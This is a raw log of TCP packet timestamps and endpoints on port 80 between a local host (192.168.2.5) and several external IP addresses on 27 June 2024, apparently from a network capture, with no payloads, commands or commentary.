Jun 27, 2024 19:26:08.338699102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338865995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338913918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338920116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338956118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338964939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338990927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.339008093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.339027882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.339039087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.339081049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.339082003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.339174986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.339190006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.339210033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.339222908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.339478970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384073019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384128094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384162903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384167910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384197950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384222031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384232044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384264946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384267092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384300947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384313107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384339094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.384362936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.384399891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402089119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402146101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402179956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402199030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402231932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402247906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402266979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402276039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402291059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402307987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402324915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402354956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402363062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402398109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402410984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402431965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402446985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402466059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402476072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402504921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402518034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402558088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402574062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402591944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402611017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402626991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402642012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402658939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402677059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402693033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402712107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402723074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402746916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402756929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402766943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402805090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402820110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402868986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402868986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402904034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402920961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402934074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402957916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.402967930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.402973890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403002977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403016090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403036118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403053045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403069973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403073072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403100967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403117895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403132915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403156042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403167009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403177977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403201103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403217077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403249979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.403266907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.403304100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:10.992221117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:10.992288113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:14.530594110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:14.533452034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:04.505995035 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:04.510870934 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:04.510982037 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:04.511147022 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:04.516006947 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:05.220752001 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:05.220837116 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:05.221638918 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:05.226623058 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:05.439846039 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:05.439905882 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:05.442464113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:05.447307110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:05.447365999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:05.447443962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:05.452318907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177669048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177690983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177702904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177742958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177742958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177757025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177769899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177774906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177783966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177788973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177804947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177829981 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177874088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177889109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177901030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.177911997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177931070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.177937984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.182681084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.182746887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.182812929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.182822943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.182863951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.302810907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.302834988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.302849054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.302923918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.302937984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.302952051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.302963972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.302992105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.303250074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.303297997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.303303957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.303317070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.303344011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.303359985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.303375959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.303392887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.303438902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.304152966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.304176092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.304187059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.304203033 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.304227114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.304234028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.304245949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.304266930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.304290056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.305042028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.305087090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.305088043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.305104971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.305124998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.305135965 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.305162907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.305176020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.305202007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.306016922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.306055069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.306076050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.306088924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.306114912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.307785988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.307831049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427361012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427426100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427438974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427458048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427458048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427489996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427494049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427508116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427520990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427527905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427536964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.427544117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427565098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.427582026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428272009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428309917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428313017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428320885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428340912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428356886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428358078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428390026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428445101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428457975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428469896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428476095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428489923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428505898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428513050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428531885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428734064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428776026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428800106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428813934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428828001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.428833961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428849936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.428864956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429032087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429070950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429096937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429110050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429131985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429151058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429174900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429208994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429255009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429266930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429287910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429301023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429470062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429507017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429531097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429543972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429564953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429582119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429688931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429701090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429713964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429719925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429728985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429737091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429753065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429770947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429789066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429806948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429820061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429822922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429831982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.429837942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429852962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.429873943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430308104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430356979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430367947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430382013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430408001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430418968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430464029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430475950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430489063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430501938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430505991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430548906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430613995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430625916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430638075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430651903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.430653095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430670977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.430696011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.432378054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.432426929 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.432435989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.432449102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.432478905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.432490110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.432502985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.432502985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.432531118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.432552099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.552879095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552905083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552916050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552937031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552948952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.552952051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552964926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.552974939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553016901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553060055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553071022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553081989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553108931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553133011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553159952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553172112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553200006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553226948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553695917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553735018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553755045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553766012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553795099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553811073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553832054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553843021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553854942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553872108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553879976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.553963900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553973913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553987980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.553999901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554008007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554032087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554033995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554069042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554156065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554192066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554205894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554225922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554239988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554250956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554266930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554274082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554275036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554276943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554284096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554297924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554310083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.554312944 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554331064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554346085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.554442883 CEST	80	49721	77.91.77.81	192.168.2.5
